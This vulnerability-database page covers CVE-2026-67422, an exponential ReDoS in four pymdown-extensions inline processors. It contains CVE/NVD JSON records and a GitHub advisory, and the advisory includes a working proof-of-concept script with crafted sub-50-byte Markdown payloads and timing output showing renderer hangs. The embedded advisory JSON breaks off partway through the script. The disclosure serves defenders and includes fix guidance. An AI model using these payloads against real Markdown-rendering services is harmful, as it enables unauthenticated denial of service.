Action not permitted
Modal body text goes here.
Modal Title
Modal Body
CVE-2026-67422 (GCVE-0-2026-67422)
Vulnerability from cvelistv5 – Published: 2026-08-06 20:26 – Updated: 2026-08-07 17:00- CWE-1333 - Inefficient Regular Expression Complexity
| URL | Tags |
|---|---|
| https://github.com/facelessuser/pymdown-extension… | x_refsource_CONFIRM |
| https://github.com/facelessuser/pymdown-extension… | x_refsource_MISC |
| Vendor | Product | Version | CPE status | |
|---|---|---|---|---|
| facelessuser | pymdown-extensions |
Affected:
< 11.0.1
|
guessed |
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2026-67422",
"options": [
{
"Exploitation": "poc"
},
{
"Automatable": "yes"
},
{
"Technical Impact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-08-07T16:59:03.019688Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-08-07T17:00:29.808Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"references": [
{
"tags": [
"exploit"
],
"url": "https://github.com/facelessuser/pymdown-extensions/security/advisories/GHSA-gm37-52c6-37mw"
}
],
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"product": "pymdown-extensions",
"vendor": "facelessuser",
"versions": [
{
"status": "affected",
"version": "\u003c 11.0.1"
}
]
}
],
"descriptions": [
{
"lang": "en",
"value": "pymdown-extensions is a collection of extensions for the Python Markdown library. In versions up to and including 11.0, four inline processors (caret, tilde, betterem, and magiclink) use regular expressions whose content groups can partition a run of delimiter characters in exponentially many ways, causing catastrophic backtracking. As a result, a single untrusted Markdown line under 50 bytes rendered with markdown.markdown() in each extension\u0027s default configuration drives the rendering thread into unbounded CPU usage that grows exponentially with input length, enabling an unauthenticated remote attacker who can submit Markdown to cause denial of service. The exposure is concrete for web applications that render user-supplied Markdown (comments, wikis, issue bodies, live preview), including any app using pymdownx.extra which bundles the vulnerable betterem default, as well as hosted docs/CI systems that build untrusted Markdown. The issue has been fixed in version 11.0.1."
}
],
"metrics": [
{
"cvssV3_1": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 7.5,
"baseSeverity": "HIGH",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"version": "3.1"
}
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-1333",
"description": "CWE-1333: Inefficient Regular Expression Complexity",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-08-06T20:26:31.930Z",
"orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"shortName": "GitHub_M"
},
"references": [
{
"name": "https://github.com/facelessuser/pymdown-extensions/security/advisories/GHSA-gm37-52c6-37mw",
"tags": [
"x_refsource_CONFIRM"
],
"url": "https://github.com/facelessuser/pymdown-extensions/security/advisories/GHSA-gm37-52c6-37mw"
},
{
"name": "https://github.com/facelessuser/pymdown-extensions/commit/c68498598d7b13011bb4571350b6e3612a4ce44b",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/facelessuser/pymdown-extensions/commit/c68498598d7b13011bb4571350b6e3612a4ce44b"
}
],
"source": {
"advisory": "GHSA-gm37-52c6-37mw",
"discovery": "UNKNOWN"
},
"title": "pymdown-extensions: Exponential-backtracking ReDoS in caret, tilde, betterem, and magiclink inline processors"
}
},
"cveMetadata": {
"assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"assignerShortName": "GitHub_M",
"cveId": "CVE-2026-67422",
"datePublished": "2026-08-06T20:26:31.930Z",
"dateReserved": "2026-07-29T15:02:20.413Z",
"dateUpdated": "2026-08-07T17:00:29.808Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2",
"vulnerability-lookup:meta": {
"epss": {
"cve": "CVE-2026-67422",
"date": "2026-09-10",
"epss": "0.00582",
"percentile": "0.45908"
},
"nvd": "{\"cve\":{\"id\":\"CVE-2026-67422\",\"sourceIdentifier\":\"security-advisories@github.com\",\"published\":\"2026-08-06T22:18:21.600\",\"lastModified\":\"2026-08-07T17:17:06.493\",\"vulnStatus\":\"Received\",\"cveTags\":[],\"descriptions\":[{\"lang\":\"en\",\"value\":\"pymdown-extensions is a collection of extensions for the Python Markdown library. In versions up to and including 11.0, four inline processors (caret, tilde, betterem, and magiclink) use regular expressions whose content groups can partition a run of delimiter characters in exponentially many ways, causing catastrophic backtracking. As a result, a single untrusted Markdown line under 50 bytes rendered with markdown.markdown() in each extension\u0027s default configuration drives the rendering thread into unbounded CPU usage that grows exponentially with input length, enabling an unauthenticated remote attacker who can submit Markdown to cause denial of service. The exposure is concrete for web applications that render user-supplied Markdown (comments, wikis, issue bodies, live preview), including any app using pymdownx.extra which bundles the vulnerable betterem default, as well as hosted docs/CI systems that build untrusted Markdown. The issue has been fixed in version 11.0.1.\"}],\"affected\":[{\"source\":\"security-advisories@github.com\",\"affectedData\":[{\"vendor\":\"facelessuser\",\"product\":\"pymdown-extensions\",\"versions\":[{\"version\":\"\u003c 11.0.1\",\"status\":\"affected\"}]}]}],\"metrics\":{\"cvssMetricV31\":[{\"source\":\"security-advisories@github.com\",\"type\":\"Secondary\",\"cvssData\":{\"version\":\"3.1\",\"vectorString\":\"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H\",\"baseScore\":7.5,\"baseSeverity\":\"HIGH\",\"attackVector\":\"NETWORK\",\"attackComplexity\":\"LOW\",\"privilegesRequired\":\"NONE\",\"userInteraction\":\"NONE\",\"scope\":\"UNCHANGED\",\"confidentialityImpact\":\"NONE\",\"integrityImpact\":\"NONE\",\"availabilityImpact\":\"HIGH\"},\"exploitabilityScore\":3.9,\"impactScore\":3.6}],\"ssvcV203\":[{\"source\":\"134c704f-9b21-4f2e-91b3-4a467353bcc0\",\"ssvcData\":{\"timestamp\":\"2026-08-07T16:59:03.019688Z\",\"id\":\"CVE-2026-67422\",\"options\":[{\"exploitation\":\"poc\"},{\"automatable\":\"yes\"},{\"technicalImpact\":\"partial\"}],\"role\":\"CISA Coordinator\",\"version\":\"2.0.3\"}}]},\"weaknesses\":[{\"source\":\"security-advisories@github.com\",\"type\":\"Secondary\",\"description\":[{\"lang\":\"en\",\"value\":\"CWE-1333\"}]}],\"references\":[{\"url\":\"https://github.com/facelessuser/pymdown-extensions/commit/c68498598d7b13011bb4571350b6e3612a4ce44b\",\"source\":\"security-advisories@github.com\"},{\"url\":\"https://github.com/facelessuser/pymdown-extensions/security/advisories/GHSA-gm37-52c6-37mw\",\"source\":\"security-advisories@github.com\"},{\"url\":\"https://github.com/facelessuser/pymdown-extensions/security/advisories/GHSA-gm37-52c6-37mw\",\"source\":\"134c704f-9b21-4f2e-91b3-4a467353bcc0\"}]}}",
"redhat_vex": {
"aggregate_severity": "Important",
"current_release_date": "2026-09-09T15:25:28+00:00",
"cve": "CVE-2026-67422",
"id": "CVE-2026-67422",
"initial_release_date": "2026-08-06T20:26:31.930000+00:00",
"product_status:fixed": "1",
"product_status:known_affected": "1",
"product_status:known_not_affected": "4",
"source": "Red Hat CSAF VEX",
"status": "final",
"title": "pymdown-extensions: Pymdown-extensions: Denial of Service via Regular Expression Vulnerability",
"url": "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-67422.json",
"version": "3"
},
"vulnrichment": {
"containers": "{\"adp\": [{\"title\": \"CISA ADP Vulnrichment\", \"metrics\": [{\"other\": {\"type\": \"ssvc\", \"content\": {\"id\": \"CVE-2026-67422\", \"role\": \"CISA Coordinator\", \"options\": [{\"Exploitation\": \"poc\"}, {\"Automatable\": \"yes\"}, {\"Technical Impact\": \"partial\"}], \"version\": \"2.0.3\", \"timestamp\": \"2026-08-07T16:59:03.019688Z\"}}}], \"references\": [{\"url\": \"https://github.com/facelessuser/pymdown-extensions/security/advisories/GHSA-gm37-52c6-37mw\", \"tags\": [\"exploit\"]}], \"providerMetadata\": {\"orgId\": \"134c704f-9b21-4f2e-91b3-4a467353bcc0\", \"shortName\": \"CISA-ADP\", \"dateUpdated\": \"2026-08-07T17:00:23.457Z\"}}], \"cna\": {\"title\": \"pymdown-extensions: Exponential-backtracking ReDoS in caret, tilde, betterem, and magiclink inline processors\", \"source\": {\"advisory\": \"GHSA-gm37-52c6-37mw\", \"discovery\": \"UNKNOWN\"}, \"metrics\": [{\"cvssV3_1\": {\"scope\": \"UNCHANGED\", \"version\": \"3.1\", \"baseScore\": 7.5, \"attackVector\": \"NETWORK\", \"baseSeverity\": \"HIGH\", \"vectorString\": \"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H\", \"integrityImpact\": \"NONE\", \"userInteraction\": \"NONE\", \"attackComplexity\": \"LOW\", \"availabilityImpact\": \"HIGH\", \"privilegesRequired\": \"NONE\", \"confidentialityImpact\": \"NONE\"}}], \"affected\": [{\"vendor\": \"facelessuser\", \"product\": \"pymdown-extensions\", \"versions\": [{\"status\": \"affected\", \"version\": \"\u003c 11.0.1\"}]}], \"references\": [{\"url\": \"https://github.com/facelessuser/pymdown-extensions/security/advisories/GHSA-gm37-52c6-37mw\", \"name\": \"https://github.com/facelessuser/pymdown-extensions/security/advisories/GHSA-gm37-52c6-37mw\", \"tags\": [\"x_refsource_CONFIRM\"]}, {\"url\": \"https://github.com/facelessuser/pymdown-extensions/commit/c68498598d7b13011bb4571350b6e3612a4ce44b\", \"name\": \"https://github.com/facelessuser/pymdown-extensions/commit/c68498598d7b13011bb4571350b6e3612a4ce44b\", \"tags\": [\"x_refsource_MISC\"]}], \"descriptions\": [{\"lang\": \"en\", \"value\": \"pymdown-extensions is a collection of extensions for the Python Markdown library. In versions up to and including 11.0, four inline processors (caret, tilde, betterem, and magiclink) use regular expressions whose content groups can partition a run of delimiter characters in exponentially many ways, causing catastrophic backtracking. As a result, a single untrusted Markdown line under 50 bytes rendered with markdown.markdown() in each extension\u0027s default configuration drives the rendering thread into unbounded CPU usage that grows exponentially with input length, enabling an unauthenticated remote attacker who can submit Markdown to cause denial of service. The exposure is concrete for web applications that render user-supplied Markdown (comments, wikis, issue bodies, live preview), including any app using pymdownx.extra which bundles the vulnerable betterem default, as well as hosted docs/CI systems that build untrusted Markdown. The issue has been fixed in version 11.0.1.\"}], \"problemTypes\": [{\"descriptions\": [{\"lang\": \"en\", \"type\": \"CWE\", \"cweId\": \"CWE-1333\", \"description\": \"CWE-1333: Inefficient Regular Expression Complexity\"}]}], \"providerMetadata\": {\"orgId\": \"a0819718-46f1-4df5-94e2-005712e83aaa\", \"shortName\": \"GitHub_M\", \"dateUpdated\": \"2026-08-06T20:26:31.930Z\"}}}",
"cveMetadata": "{\"cveId\": \"CVE-2026-67422\", \"state\": \"PUBLISHED\", \"dateUpdated\": \"2026-08-07T17:00:29.808Z\", \"dateReserved\": \"2026-07-29T15:02:20.413Z\", \"assignerOrgId\": \"a0819718-46f1-4df5-94e2-005712e83aaa\", \"datePublished\": \"2026-08-06T20:26:31.930Z\", \"assignerShortName\": \"GitHub_M\"}",
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
}
}
FKIE_CVE-2026-67422
Vulnerability from fkie_nvd - Published: 2026-08-06 22:18 - Updated: 2026-08-07 17:17| Vendor | Product | Version |
|---|
{
"affected": [
{
"affectedData": [
{
"product": "pymdown-extensions",
"vendor": "facelessuser",
"versions": [
{
"status": "affected",
"version": "\u003c 11.0.1"
}
]
}
],
"source": "security-advisories@github.com"
}
],
"cveTags": [],
"descriptions": [
{
"lang": "en",
"value": "pymdown-extensions is a collection of extensions for the Python Markdown library. In versions up to and including 11.0, four inline processors (caret, tilde, betterem, and magiclink) use regular expressions whose content groups can partition a run of delimiter characters in exponentially many ways, causing catastrophic backtracking. As a result, a single untrusted Markdown line under 50 bytes rendered with markdown.markdown() in each extension\u0027s default configuration drives the rendering thread into unbounded CPU usage that grows exponentially with input length, enabling an unauthenticated remote attacker who can submit Markdown to cause denial of service. The exposure is concrete for web applications that render user-supplied Markdown (comments, wikis, issue bodies, live preview), including any app using pymdownx.extra which bundles the vulnerable betterem default, as well as hosted docs/CI systems that build untrusted Markdown. The issue has been fixed in version 11.0.1."
}
],
"id": "CVE-2026-67422",
"lastModified": "2026-08-07T17:17:06.493",
"metrics": {
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 7.5,
"baseSeverity": "HIGH",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"exploitabilityScore": 3.9,
"impactScore": 3.6,
"source": "security-advisories@github.com",
"type": "Secondary"
}
],
"ssvcV203": [
{
"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"ssvcData": {
"id": "CVE-2026-67422",
"options": [
{
"exploitation": "poc"
},
{
"automatable": "yes"
},
{
"technicalImpact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-08-07T16:59:03.019688Z",
"version": "2.0.3"
}
}
]
},
"published": "2026-08-06T22:18:21.600",
"references": [
{
"source": "security-advisories@github.com",
"url": "https://github.com/facelessuser/pymdown-extensions/commit/c68498598d7b13011bb4571350b6e3612a4ce44b"
},
{
"source": "security-advisories@github.com",
"url": "https://github.com/facelessuser/pymdown-extensions/security/advisories/GHSA-gm37-52c6-37mw"
},
{
"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"url": "https://github.com/facelessuser/pymdown-extensions/security/advisories/GHSA-gm37-52c6-37mw"
}
],
"sourceIdentifier": "security-advisories@github.com",
"vulnStatus": "Received",
"weaknesses": [
{
"description": [
{
"lang": "en",
"value": "CWE-1333"
}
],
"source": "security-advisories@github.com",
"type": "Secondary"
}
]
}
GHSA-GM37-52C6-37MW
Vulnerability from github – Published: 2026-08-07 18:26 – Updated: 2026-08-07 18:26Summary
Four inline processors in pymdown-extensions contain regular expressions with
exponential backtracking. A single untrusted Markdown line under
50 bytes drives markdown.markdown() into unbounded CPU on the rendering thread
(seconds at ~45 bytes, growing exponentially with each added character). All four
fire in the extension's default configuration
and are reachable through the documented public API. The caret/tilde/
betterem blow-up was introduced by the emphasis-pattern rewrite in PR #2547
(first released in 10.13, Dec 2024) — earlier releases used a linear
(.+?) / ([^\s]+?) content group — and is present through 11.0 (latest);
magiclink's host pattern is long-standing and affects effectively all releases.
Likely CWE-1333 (Inefficient Regular Expression Complexity).
This is a distinct issue from CVE-2025-68142 (ReDoS in pymdownx.blocks.caption,
RE_FIG_NUM, fixed in 10.16.1): different extensions, different regexes, and a
different root cause (delimiter-run partition ambiguity rather than a ./\.
typo).
Details
Four regexes share, or closely mirror, a vulnerable shape — an inner group that
can partition a run of the delimiter character into {2,}-sized pieces in
exponentially many ways, wrapped in a lazy +? that must fail before the engine
can give up:
| Extension | Regex | Location (11.0) |
|---|---|---|
pymdownx.caret (superscript ^…^) |
SUP2 |
pymdownx/caret.py:56 |
pymdownx.tilde (subscript ~…~) |
SUB2 |
pymdownx/tilde.py:55 |
pymdownx.betterem (underscore _…_) |
SMART_UNDER_EM2 (default) |
pymdownx/betterem.py:93 |
pymdownx.magiclink (bare-URL autolink) |
RE_LINK |
pymdownx/magiclink.py:56 (host at :59) |
pymdownx/caret.py:56 (pymdown-extensions 11.0):
SUP2 = r'(?<!\^)(\^)(?![\^\s])((?:[^\^\s]|\^{2,})+?)(?<![\^\s])(\^)(?!\^)'
The content group (?:[^\^\s]|\^{2,})+? matches a run of carets only via the
\^{2,} branch. A run of k carets can be split into ≥2-length pieces in
exponentially many combinations; when no caret can serve as a valid closing
delimiter (the trailing (?<![\^\s])(\^) cannot be satisfied), the engine
explores every partition before failing. SUB2 (tilde) and SMART_UNDER_EM2
(betterem) are the same construct for ~ and _. In betterem the default
smart_enable='underscore' routes underscores to SmartUnderscoreProcessor →
SMART_UNDER_EM2 (betterem.py:93), which is the default-reachable,
API-exploitable pattern; the non-smart UNDER_EM2 (:69, used only when
smart_enable is asterisk/disable) shares the shape but did not reproduce
through the public markdown.markdown() pipeline on the tested payload, so a fix
and regression test should target SMART_UNDER_EM2.
pymdownx/magiclink.py:59 has the analogous ambiguity in the host portion, where
overlapping character classes let a run of dots be grouped exponentially:
(?:ht|f)tps?://[^_\W][-\w]*(?:\.[-\w.]+)* # host: '\.' and '[-\w.]' inside (?:...)* both match '.'
SUP2/SUB2/SMART_UNDER_EM2 are applied at each delimiter occurrence via the
default PatternSequenceProcessor subclasses (pymdownx/util.py); RE_LINK is
applied by MagiclinkPattern (registered unconditionally at priority 85). In all
four cases, rendering markdown.markdown(src, extensions=[ext]) on untrusted
src in default configuration is sufficient to reach the regex.
PoC
Single self-contained script; runs against the pinned release in an ephemeral env. Non-destructive — the input is ordinary Markdown text; the impact is CPU/time (a per-render alarm caps each attempt so the script terminates).
import signal
import time
from importlib.metadata import version
import markdown
print(f"# pymdown-extensions {version('pymdown-extensions')} / markdown {version('markdown')}")
CAP = 5.0 # a single render exceeding this is treated as a hang
class Timeout(Exception):
pass
def render(ext, text):
signal.signal(signal.SIGALRM, lambda *_: (_ for _ in ()).throw(Timeout()))
signal.setitimer(signal.ITIMER_REAL, CAP)
t = time.perf_counter()
try:
markdown.markdown(text, extensions=[ext])
return time.perf_counter() - t
except Timeout:
return None
finally:
signal.setitimer(signal.ITIMER_REAL, 0)
# ext -> (malicious builder, benign builder [valid & closed], ramp, hang count)
CASES = {
"pymdownx.caret": (lambda n: "^a" + "^" * n + "b", lambda n: "^" + "a" * n + "^", [24, 30, 36], 44),
"pymdownx.tilde": (lambda n: "~a" + "~" * n + "b", lambda n: "~" + "a" * n + "~", [24, 30, 36], 44),
"pymdownx.betterem": (lambda n: "_a" + "_" * n + "b", lambda n: "_" + "a" * n + "_", [24, 30, 36], 44),
"pymdownx.magiclink": (lambda n: "http://a" + "." * n + " ", lambda n: "http://" + "a" * n + ".com ", [28, 32, 36], 40),
}
repro = []
for ext, (evil, benign, ramp, hang) in CASES.items():
base_txt = benign(hang) # valid, closed run: same regex machinery, but linear
base = render(ext, base_txt)
print(f"\n[{ext}] benign baseline (len {len(base_txt)}, valid+closed): {base * 1e3:.3f} ms")
prev = None
for n in ramp:
txt = evil(n)
dt = render(ext, txt)
ratio = f" (x{dt / prev:.1f})" if (prev and dt) else ""
shown = f"{dt:8.3f} s" if dt is not None else f"> {CAP:.0f} s (HANG)"
print(f" malicious len {len(txt):3d}: {shown}{ratio}")
prev = dt
txt = evil(hang)
dt = render(ext, txt)
hung = dt is None
print(f" malicious len {len(txt):3d}: "
f"{'> %.0f s (HANG)' % CAP if hung else '%.3f s' % dt}")
ok = base < 0.05 and (hung or dt > 1.0)
repro.append(ok)
print(f" => {'REPRODUCED' if ok else 'not reproduced'}: a {len(txt)}-byte "
f"malicious line stalls the renderer; a valid {len(base_txt)}-byte line is instant.")
assert all(repro), "not reproduced"
print("\nVERDICT: exponential ReDoS reproduced in all four extensions via the "
"public markdown.markdown() API, default config (each < 50-byte input).")
Run:
uv run --with pymdown-extensions==11.0 --with markdown==3.10.2 python poc.py
The bug is in pymdown-extensions' own regexes run by the stdlib re engine, so it
is independent of the Markdown library version (markdown pinned only for
byte-exact output). Observed output:
# pymdown-extensions 11.0 / markdown 3.10.2
[pymdownx.caret] benign baseline (len 46, valid+closed): 11.768 ms
malicious len 27: 0.003 s
malicious len 33: 0.054 s (x16.6)
malicious len 39: 0.946 s (x17.6)
malicious len 47: > 5 s (HANG)
=> REPRODUCED: a 47-byte malicious line stalls the renderer; a valid 46-byte line is instant.
[pymdownx.tilde] benign baseline (len 46, valid+closed): 5.364 ms
malicious len 27: 0.003 s
malicious len 33: 0.053 s (x17.1)
malicious len 39: 0.962 s (x18.2)
malicious len 47: > 5 s (HANG)
=> REPRODUCED: a 47-byte malicious line stalls the renderer; a valid 46-byte line is instant.
[pymdownx.betterem] benign baseline (len 46, valid+closed): 3.167 ms
malicious len 27: 0.003 s
malicious len 33: 0.052 s (x17.1)
malicious len 39: 0.948 s (x18.1)
malicious len 47: > 5 s (HANG)
=> REPRODUCED: a 47-byte malicious line stalls the renderer; a valid 46-byte line is instant.
[pymdownx.magiclink] benign baseline (len 52, valid+closed): 4.935 ms
malicious len 37: 0.033 s
malicious len 41: 0.210 s (x6.4)
malicious len 45: 1.405 s (x6.7)
malicious len 49: > 5 s (HANG)
=> REPRODUCED: a 49-byte malicious line stalls the renderer; a valid 52-byte line is instant.
VERDICT: exponential ReDoS reproduced in all four extensions via the public markdown.markdown() API, default config (each < 50-byte input).
The per-step ratio stays roughly constant as the run grows (a fixed multiplicative factor per fixed-size increment) — the signature of exponential, not polynomial, backtracking. A valid, closed delimiter run of the same length exercises the same regex yet renders in well under a millisecond, isolating the cost to the unclosed crafted run. Extending it a few more characters pushes the render time into minutes and beyond.
Impact
Denial of service: a sub-50-byte line pins the rendering thread at 100% CPU, with no memory pressure to trip an OOM killer. Most Material/MkDocs usage renders trusted author content at build time, but the untrusted-input exposure is concrete in two settings:
- General Python web apps that render user-supplied Markdown (comments, wikis,
issue/ticket bodies, chat, live preview) — notably any app using
pymdownx.extra, which bundlesbetteremwith the vulnerable defaultsmart_enable='underscore', or that reuses a Material-style extension block in a runtime renderer. -
Hosted docs/CI systems that build untrusted, user-contributed Markdown, where a single crafted line hangs the shared build worker.
-
Attacker: unauthenticated, remote (anyone who can submit Markdown).
- Configuration: default for each extension.
- Proposed CWE-1333. Proposed CVSS 3.1 (as proposed — the maintainer makes
the final call):
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H(7.5, High).
Suggestion
The vulnerable content groups need to be rewritten so a delimiter run has exactly
one parse, removing the {2,} partition ambiguity that lets the engine
re-segment a run on backtracking. For the emphasis patterns, restructuring the
content so a delimiter run is consumed in a single, non-re-partitionable way
(rather than by a {2,} branch inside a +? group) removes the blow-up; for
RE_LINK, disambiguate the host so . is matched in exactly one place (a single
labelled-host pattern such as (?:[-\w]+)(?:\.[-\w]+)*) rather than by
overlapping classes. Possessive quantifiers / atomic groups are the most direct
tool but require Python 3.11+; since the project supports Python 3.10, a
structural rewrite is the portable option.
A regression fixture per extension (a short delimiter run with no valid closer, asserted to render under a small time budget) would guard against reintroduction.
References
- Affected source (
pymdown-extensions 11.0):pymdownx/caret.py:56(SUP2),pymdownx/tilde.py:55(SUB2),pymdownx/betterem.py:93(SMART_UNDER_EM2, default;:69UNDER_EM2shares the shape),pymdownx/magiclink.py:56(RE_LINK, host subexpression at:59). - Novelty: same class as CVE-2025-68142 (
pymdownx.blocks.captionRE_FIG_NUM, fixed 10.16.1) but distinct extensions, regexes, and root cause. Thecaret/tilde/betteremcontent groups gained the vulnerable{2,}alternation in PR #2547 (v10.13); earlier releases used a linear(.+?)/([^\s]+?)group.magiclink's host pattern is long-standing. None of the four has been touched by a prior security fix; all are present in the latest release (11.0).
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 11.0.0"
},
"package": {
"ecosystem": "PyPI",
"name": "pymdown-extensions"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "11.0.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-67422"
],
"database_specific": {
"cwe_ids": [
"CWE-1333"
],
"github_reviewed": true,
"github_reviewed_at": "2026-08-07T18:26:07Z",
"nvd_published_at": "2026-08-06T22:18:21Z",
"severity": "HIGH"
},
"details": "### Summary\n\nFour inline processors in pymdown-extensions contain regular expressions with\nexponential backtracking. A single untrusted Markdown line under\n50 bytes drives `markdown.markdown()` into unbounded CPU on the rendering thread\n(seconds at ~45 bytes, growing exponentially with each added character). All four\nfire in the extension\u0027s **default configuration**\nand are reachable through the documented public API. The `caret`/`tilde`/\n`betterem` blow-up was introduced by the emphasis-pattern rewrite in PR #2547\n(first released in **10.13**, Dec 2024) \u2014 earlier releases used a linear\n`(.+?)` / `([^\\s]+?)` content group \u2014 and is present through **11.0** (latest);\n`magiclink`\u0027s host pattern is long-standing and affects effectively all releases.\nLikely **CWE-1333 (Inefficient Regular Expression Complexity)**.\n\nThis is a distinct issue from CVE-2025-68142 (ReDoS in `pymdownx.blocks.caption`,\n`RE_FIG_NUM`, fixed in 10.16.1): different extensions, different regexes, and a\ndifferent root cause (delimiter-run partition ambiguity rather than a `.`/`\\.`\ntypo).\n\n### Details\n\nFour regexes share, or closely mirror, a vulnerable shape \u2014 an inner group that\ncan partition a run of the delimiter character into `{2,}`-sized pieces in\nexponentially many ways, wrapped in a lazy `+?` that must fail before the engine\ncan give up:\n\n| Extension | Regex | Location (`11.0`) |\n|---|---|---|\n| `pymdownx.caret` (superscript `^\u2026^`) | `SUP2` | `pymdownx/caret.py:56` |\n| `pymdownx.tilde` (subscript `~\u2026~`) | `SUB2` | `pymdownx/tilde.py:55` |\n| `pymdownx.betterem` (underscore `_\u2026_`) | `SMART_UNDER_EM2` (default) | `pymdownx/betterem.py:93` |\n| `pymdownx.magiclink` (bare-URL autolink) | `RE_LINK` | `pymdownx/magiclink.py:56` (host at `:59`) |\n\n`pymdownx/caret.py:56` (`pymdown-extensions 11.0`):\n\n```python\nSUP2 = r\u0027(?\u003c!\\^)(\\^)(?![\\^\\s])((?:[^\\^\\s]|\\^{2,})+?)(?\u003c![\\^\\s])(\\^)(?!\\^)\u0027\n```\n\nThe content group `(?:[^\\^\\s]|\\^{2,})+?` matches a run of carets only via the\n`\\^{2,}` branch. A run of *k* carets can be split into \u22652-length pieces in\nexponentially many combinations; when no caret can serve as a valid closing\ndelimiter (the trailing `(?\u003c![\\^\\s])(\\^)` cannot be satisfied), the engine\nexplores every partition before failing. `SUB2` (tilde) and `SMART_UNDER_EM2`\n(betterem) are the same construct for `~` and `_`. In `betterem` the default\n`smart_enable=\u0027underscore\u0027` routes underscores to `SmartUnderscoreProcessor` \u2192\n`SMART_UNDER_EM2` (`betterem.py:93`), which is the default-reachable,\nAPI-exploitable pattern; the non-smart `UNDER_EM2` (`:69`, used only when\n`smart_enable` is `asterisk`/`disable`) shares the shape but did not reproduce\nthrough the public `markdown.markdown()` pipeline on the tested payload, so a fix\nand regression test should target `SMART_UNDER_EM2`.\n\n`pymdownx/magiclink.py:59` has the analogous ambiguity in the host portion, where\noverlapping character classes let a run of dots be grouped exponentially:\n\n```python\n(?:ht|f)tps?://[^_\\W][-\\w]*(?:\\.[-\\w.]+)* # host: \u0027\\.\u0027 and \u0027[-\\w.]\u0027 inside (?:...)* both match \u0027.\u0027\n```\n\n`SUP2`/`SUB2`/`SMART_UNDER_EM2` are applied at each delimiter occurrence via the\ndefault `PatternSequenceProcessor` subclasses (`pymdownx/util.py`); `RE_LINK` is\napplied by `MagiclinkPattern` (registered unconditionally at priority 85). In all\nfour cases, rendering `markdown.markdown(src, extensions=[ext])` on untrusted\n`src` in default configuration is sufficient to reach the regex.\n\n### PoC\n\nSingle self-contained script; runs against the pinned release in an ephemeral\nenv. Non-destructive \u2014 the input is ordinary Markdown text; the impact is CPU/time\n(a per-render alarm caps each attempt so the script terminates).\n\n```python\nimport signal\nimport time\nfrom importlib.metadata import version\n\nimport markdown\n\nprint(f\"# pymdown-extensions {version(\u0027pymdown-extensions\u0027)} / markdown {version(\u0027markdown\u0027)}\")\n\nCAP = 5.0 # a single render exceeding this is treated as a hang\n\n\nclass Timeout(Exception):\n pass\n\n\ndef render(ext, text):\n signal.signal(signal.SIGALRM, lambda *_: (_ for _ in ()).throw(Timeout()))\n signal.setitimer(signal.ITIMER_REAL, CAP)\n t = time.perf_counter()\n try:\n markdown.markdown(text, extensions=[ext])\n return time.perf_counter() - t\n except Timeout:\n return None\n finally:\n signal.setitimer(signal.ITIMER_REAL, 0)\n\n\n# ext -\u003e (malicious builder, benign builder [valid \u0026 closed], ramp, hang count)\nCASES = {\n \"pymdownx.caret\": (lambda n: \"^a\" + \"^\" * n + \"b\", lambda n: \"^\" + \"a\" * n + \"^\", [24, 30, 36], 44),\n \"pymdownx.tilde\": (lambda n: \"~a\" + \"~\" * n + \"b\", lambda n: \"~\" + \"a\" * n + \"~\", [24, 30, 36], 44),\n \"pymdownx.betterem\": (lambda n: \"_a\" + \"_\" * n + \"b\", lambda n: \"_\" + \"a\" * n + \"_\", [24, 30, 36], 44),\n \"pymdownx.magiclink\": (lambda n: \"http://a\" + \".\" * n + \" \", lambda n: \"http://\" + \"a\" * n + \".com \", [28, 32, 36], 40),\n}\n\nrepro = []\nfor ext, (evil, benign, ramp, hang) in CASES.items():\n base_txt = benign(hang) # valid, closed run: same regex machinery, but linear\n base = render(ext, base_txt)\n print(f\"\\n[{ext}] benign baseline (len {len(base_txt)}, valid+closed): {base * 1e3:.3f} ms\")\n prev = None\n for n in ramp:\n txt = evil(n)\n dt = render(ext, txt)\n ratio = f\" (x{dt / prev:.1f})\" if (prev and dt) else \"\"\n shown = f\"{dt:8.3f} s\" if dt is not None else f\"\u003e {CAP:.0f} s (HANG)\"\n print(f\" malicious len {len(txt):3d}: {shown}{ratio}\")\n prev = dt\n txt = evil(hang)\n dt = render(ext, txt)\n hung = dt is None\n print(f\" malicious len {len(txt):3d}: \"\n f\"{\u0027\u003e %.0f s (HANG)\u0027 % CAP if hung else \u0027%.3f s\u0027 % dt}\")\n ok = base \u003c 0.05 and (hung or dt \u003e 